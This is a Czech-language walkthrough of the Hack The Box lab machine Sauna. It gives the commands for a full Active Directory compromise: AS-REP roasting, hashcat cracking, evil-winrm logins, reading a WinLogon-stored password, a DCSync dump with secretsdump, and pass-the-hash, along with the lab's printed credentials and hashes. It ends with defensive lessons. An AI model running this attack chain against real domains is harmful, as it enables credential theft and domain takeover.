Sauna
Úvod a kontext
Sauna je typický AD stroj, kde první foothold nevzniká exploitem služby, ale kombinací veřejných informací a slabé konfigurace Kerberosu. Z veřejně dostupných jmen zaměstnanců šlo připravit kandidátní účty, z nich udělat AS-REP roast a po prolomení hesla přejít na WinRM. Tenhle úvodní model rozebírám i obecněji v článku Kerberos útoky z nulového přístupu: AS-REP roast a práce s kandidátními uživateli.
Zbytek řetězce pak stojí na dvou běžných provozních chybách: uloženém heslu v WinLogon a příliš silných právech servisního účtu. Právě proto je Sauna dobrý materiál pro vysvětlení, jak se v Active Directory skládají zdánlivě malé chyby do plného kompromisu.
Počáteční průzkum
Vyhledání otevřených portů
První scan ukázal řadič domény s Kerberem, LDAP a WinRM.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//)
echo $ports
nmap -p $ports -A -sC -sV -v $IP
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Vedle toho DNS potvrdilo hostname řadiče:
dig ANY EGOTISTICAL-BANK.LOCAL @$IP
sauna.EGOTISTICAL-BANK.LOCAL. 3600 IN A 10.10.10.175
Praktickou roli podobných rychlých DNS dotazů rozebírám i v článku host a dig.
Kandidátní uživatelská jména z veřejného webu
Web banky publikoval jména zaměstnanců, například Fergus Smith nebo Hugo Bear. To samo o sobě není zranitelnost, ale v AD prostředí je to velmi užitečný materiál pro tvorbu uživatelského seznamu.
python get-usernames.py Sauna-names.txt > Sauna-users-all.txt
Smysl tohohle kroku je prostý: Kerberos útoky typu AS-REP roast dávají smysl až ve chvíli, kdy mám dost realistický seznam účtů.
Analýza zjištění
AS-REP roast účtu FSmith
Jakmile byl připravený seznam uživatelů, dalo se ověřit, zda některý z nich nemá vypnutou předautentizaci Kerberosu.
GetNPUsers.py -format hashcat -usersfile Sauna-users-all.txt \
-outputfile Sauna-hashes.asreproast -dc-ip 10.10.10.175 \
EGOTISTICAL-BANK.LOCAL/
Zajímavý výsledek vrátil účet FSmith. To je důležitý moment: ne každý platný účet je automaticky zneužitelný, ale účet bez pre-auth umožní offline útok na získaný AS-REP.
Dalším krokem bylo prolomení hashe. Praktickou roli offline crackingu v podobných řetězcích rozebírám i v článku Hashcat:
hashcat -m 18200 --force -a 0 Sauna-hashes.asreproast /usr/share/wordlists/rockyou.txt
Thestrokes23
Získání přístupu
WinRM jako FSmith
Heslo Thestrokes23 šlo rovnou ověřit proti WinRM:
evil-winrm -i 10.10.10.175 -u FSmith -p 'Thestrokes23'
Tím vznikl první stabilní shell a bylo možné potvrdit user.txt. Důležitější než samotný flag ale byla lokální enumerace. Přes enum4linux bylo vidět, že ve skupině Remote Management Users je i servisní účet svc_loanmgr, tedy další kandidát na přímý management přístup.
Únik servisního hesla z WinLogon
Rozhodující mezikrok pak ležel v registrech:
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' |
Select-Object Default*
DefaultDomainName EGOTISTICALBANK
DefaultUserName EGOTISTICALBANK\svc_loanmanager
DefaultPassword Moneymakestheworldgoround!
Zápis obsahoval lehce odlišné jméno svc_loanmanager, ale z předchozí enumerace bylo zřejmé, že reálný účet je svc_loanmgr. Heslo Moneymakestheworldgoround! tedy dávalo smysl zkusit právě proti němu.
evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
Eskalace oprávnění
svc_loanmgr a replikace tajemství
Účet svc_loanmgr měl dostatečná oprávnění na to, aby secretsdump.py získal doménové hashe včetně Administrator. Praktický kontext podobných utilit rozebírám i v článku Impacket pro relay, tajemství a delegovaná práva. Samotný bezpečnostní vzorec přehnaně silného servisního účtu pak zapadá do širšího článku Delegovaná práva v AD: DCSync, gMSA, relay, deleted objects.
secretsdump.py 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@sauna.EGOTISTICAL-BANK.LOCAL'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
To je zásadní přechod od běžného uživatelského shellu k plné kompromitaci domény. Jakmile je k dispozici NTLM hash administrátora, stačí pass-the-hash přes WinRM:
evil-winrm -i 10.10.10.175 -u Administrator -H 'd9485863c1e9e05851aa40cbb4ab9dff'
V tomhle bodě už bylo možné přečíst root.txt a považovat stroj za plně kompromitovaný.
Shrnutí klíčových poznatků
- Úvodní foothold nevznikl z chyby webu, ale z veřejných jmen zaměstnanců a účtu
FSmith, který dovoloval AS-REP roast. - Uživatelský přístup se skládal ze dvou kroků: nejdřív
FSmithpřes cracknuté hesloThestrokes23, potomsvc_loanmgrdíky uloženému heslu veWinLogon. - Root/Admin fázi rozhodla schopnost servisního účtu získat doménové hashe přes
secretsdump, nikoli lokální exploitační trik na samotném hostu.
Co si odnést do praxe
- Veřejné jmenné seznamy zaměstnanců zjednodušují tvorbu kandidátních účtů pro Kerberos útoky. Samy o sobě nejsou kritické, ale výrazně zlevňují první fázi útoku.
- AS-REP roast je obranně řešitelný velmi přímo: účty bez Kerberos pre-auth mají být výjimka, ne standard. Pokud takový účet existuje, jeho heslo musí být silné a unikátní.
- Hesla uložená v
WinLogona přehnaně privilegované servisní účty jsou v doméně mimořádně nebezpečná kombinace. Jakmile se tyto dvě chyby sejdou, vede cesta kAdministratorvelmi rychle.
Další související články
HTB Stroje
Techniky
- Dokumentová metadata jako vstup do domény
- Konfigurace síťových zařízení jako zdroj reuse hesel
- Kerberos útoky z nulového přístupu: AS-REP roast a práce s kandidátními uživateli